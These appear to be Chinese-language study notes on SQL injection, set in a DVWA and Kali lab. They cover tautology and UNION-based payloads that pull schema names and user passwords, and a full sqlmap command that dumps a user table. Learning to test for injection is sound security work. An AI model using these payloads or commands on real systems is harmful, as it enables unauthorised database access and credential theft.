Sql注入.
1、SQL注入原理.
- 攻击者在页面提交恶意代码
- 服务器未对提交参数进行过滤或过滤不足
- 攻击者利用拼接sql语句方式获取数据库敏感信息
2、简单sql注入演示.
服务器 执行的SQL语句 : select * from user where id = '$id'
($id 是一个输入参数)(原效果:获取单个用户的信息)
攻击者输入 $id = " ' or 1 = 1 --"
最终服务器解析的 sql语句: select * from user where id = ' ' or 1 = 1 --
(注入效果:获取了数据表user的全部信息)
3、Sql注入实现方式.
- 手动
- 查找:注入点
- 输入:SQL常用注入组合语法,进行注入
- 自动(工具)
- 工具:扫描注入点
- 输入:自动产生各种组合语法
4、SQL注入危害.
- 获取数据库信息,或被可以的修改数据库
- 非法买卖用户信息
- 危害web应用安全
5、特殊库介绍.
information_schema
.
作用:存储mysql中所有库名,表名,列名,是mysql数据的字典
应用:sql注入中经常从此表中获取需要的库名,表名,字段名
关注:
- tables表:记录mysql库中所有的库名和表名
- columns表:记录mysql中所有的库名,表名和列名
操作:.
查看表:
select * from information_schema.tables\G; select * from information_schema.columns\G;
需关注的字段
TABLE_SCHEMA
:数据库名TABLE_NAME
:表名COLUMN_NAME
:列名
6、注释.
在Sql注入中可以将查询条件注释掉
# 单行注释
-- 单行注释
/* 多行注释 */
7、注入流程.
- 收集项目信息(操作系统,数据库类型,web服务器类型)
- 查找注入点(单引号,#,转义字符\ 。。。。)
- 注入sql语句
- 获取数据库信息
- 破解管理员的账号密码
- 使用sql-shell等工具登录并获取数据
8、手动注入.
1.查找注入点.
- 主要是使用 单引号
'
; - 提交用户信息或?id=处使用单引号测试
2.注入SQL语句.
逻辑或
- 说明:常用于获取当前表的所有信息
- 如:
' or 1 = 1 #
'
用于闭合前面的条件#
注释后面的条件
案例
获取user表中所有的用户名和密码
方案使用union联合查询所有用户表的语句
步骤
猜测字段数
# 第一次猜测 ' union select 1# '# 第二次猜测 ' union select 1,2# '# 结果: 直到不报语法错误,确认结果几个字段
- 获取数据库名
```mysql
# 获取数据表 如果字段只有三个
' union select 1,2,database()#
'# database() 用于显示 当前数据库
```
| | | |
| ---- | ---- | ----------------------------- |
| 1 | 2 | 当前数据库的名字(假如是 db) |
- 获取数据库下所有的表
```sql
' union select table_name,2,3 from information_schema.tables where table_schema = 'db'#
```
- 获取数据表下所有的列
```mysql
' union select column_name,2,3 from information_schema.columns where table_name = 'user'#
```
- 获取表中所有数据
```mysql
# 1. 获取单个字段
' union select name,1,2 from user#
'# 2. 获取两个字段
' union select name,pwd,1 from user#
```
- 获取大于union字段数的字段 (concat函数使用)
```MYSQL
' union select 1,2,concat('username:', name,'password:',pwd) from user#
```
9.自动注入.
1.工具.
sqlmap
- 一款开源渗透测试工具
- 自动检测和利用sql注入漏洞并接管数据库服务器
- 搭建
- 1.官网下载:http://sqlmap.org
- 2.渗透机 kali自带
- 使用步骤:
- 1.启动kali虚拟机
- 终端命令:sqlmap -h
- 使用步骤:
常用参数
- -u :扫描目标url
- –batch:自动处理提示信息
- –cookie:附加cookie参数
- –current-db 获取数据库名 -D应用
-D db
- –tables 获取表名,-T应用
-T user
- –columns 获取列名,-C应用
-C "name,pwd"
- –dump 下载数据
sqlmap --batch --cookie "登录时保存的cookie" -u "http://...../login.php" -D db -T user -C "name,pwd" --dump # 前提是 必须通过 --current-db 等操作获取相应的 库 表 列
靶机与渗透机.
靶机 – dvwa
渗透机 – kali